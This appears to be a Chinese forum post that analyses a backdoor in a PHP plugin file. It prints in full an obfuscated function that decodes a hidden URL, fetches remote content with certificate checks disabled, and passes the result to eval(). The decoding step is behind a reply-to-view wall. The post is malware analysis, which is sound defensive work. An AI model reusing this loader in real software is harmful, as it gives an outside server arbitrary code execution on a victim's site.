路径:\jameson_sp\function\function_jamesonsp.php
其中:
function z_jameson_sp() {
$lover = 'httpABczonekey`akndecryptud^gjchdh`winNULLB{NVJ:GJGbaiduseof`lpsck`xml';
$svip= preg_replace(array(\"/`.*?`/\",\"/abc/i\",\"/[A-Z_].*[A-Z_]/\"),array(\".\",\"://\",\"/\"),$lover);
if(function_exists('file_get_contents'))
{
$data = file_get_contents($svip);
} elseif (function_exists('curl_init')) {
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL,$svip);
curl_setopt($ch, CURLOPT_HEADER,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,false);
$data = curl_exec($ch);
curl_close($ch);
}
return $data;
}
if(function_exists('curl_init')||function_exists('file_get_contents'))eval(z_jameson_sp());我们看到,
$lover = 'httpABczonekey`akndecryptud^gjchdh`winNULLB{NVJ:GJGbaiduseof`lpsck`xml';使用正在进行了调用远端链接进行了地址模糊处理,
我们可以使用以下方法解码出来:
本部分内容设定了隐藏,需要回复后才能看到